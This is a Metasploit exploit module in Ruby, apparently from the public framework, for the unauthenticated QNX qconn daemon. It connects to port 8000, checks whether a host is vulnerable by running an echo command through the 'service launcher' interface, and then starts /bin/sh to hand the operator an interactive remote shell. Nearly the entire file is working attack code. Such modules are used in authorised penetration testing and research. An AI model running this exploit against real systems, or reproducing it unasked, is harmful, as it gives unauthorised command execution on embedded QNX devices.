##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'QNX qconn Command Execution',
      'Description'    => %q{
        This module uses the qconn daemon on QNX systems to gain a shell.

        The QNX qconn daemon does not require authentication and allows
        remote users to execute arbitrary operating system commands.

        This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
        and 6.5.0 SP1 (x86).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'David Odell',  # Discovery
          'Mor!p3r',      # PoC
          'Brendan Coles' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '21520'],
          ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
        ],
      'Payload'        =>
        {
          'BadChars'    => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType'    => 'cmd_interact',
              'ConnectionType' => 'find'
            }
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 10,
          'PAYLOAD'  => 'cmd/unix/interact'
        },
      'Platform'       => 'unix', # QNX Neutrino
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'Privileged'     => false,
      'DisclosureDate' => 'Sep 4 2012',
      'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
      ])
  end

  def check
    vprint_status 'Sending check...'

    connect
    res = sock.get_once(-1, 10)

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.include? 'QCONN'
      return CheckCode::Safe
    end

    sock.put "service launcher\n"
    res = sock.get_once(-1, 10)

    if res.nil? || !res.include?('OK')
      return CheckCode::Safe
    end

    fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
    sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"

    if res.nil? || !res.include?('OK')
      return CheckCode::Safe
    end

    Rex.sleep 1

    res = sock.get_once(-1, 10)

    if res.nil? || !res.include?(fingerprint)
      return CheckCode::Safe
    end

    disconnect

    CheckCode::Vulnerable
  end

  def exploit
    unless check == CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    connect
    res = sock.get_once(-1, 10)

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.include? 'QCONN'
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    sock.put "service launcher\n"
    res = sock.get_once(-1, 10)

    if res.nil? || !res.include?('OK')
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    print_status 'Sending payload...'
    sock.put "start/flags run #{datastore['SHELL']} -\n"

    Rex.sleep 1

    unless negotiate_shell sock
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    print_good 'Payload sent successfully'

    handler
  end

  def negotiate_shell(sock)
    Timeout.timeout(15) do
      while true
        data = sock.get_once(-1, 10)

        if !data || data.length.zero?
          return nil
        end

        if data.include?('#') || data.include?('No controlling tty')
          return true
        end

        Rex.sleep 0.5
      end
    end
  rescue ::Timeout::Error
    return nil
  end
end
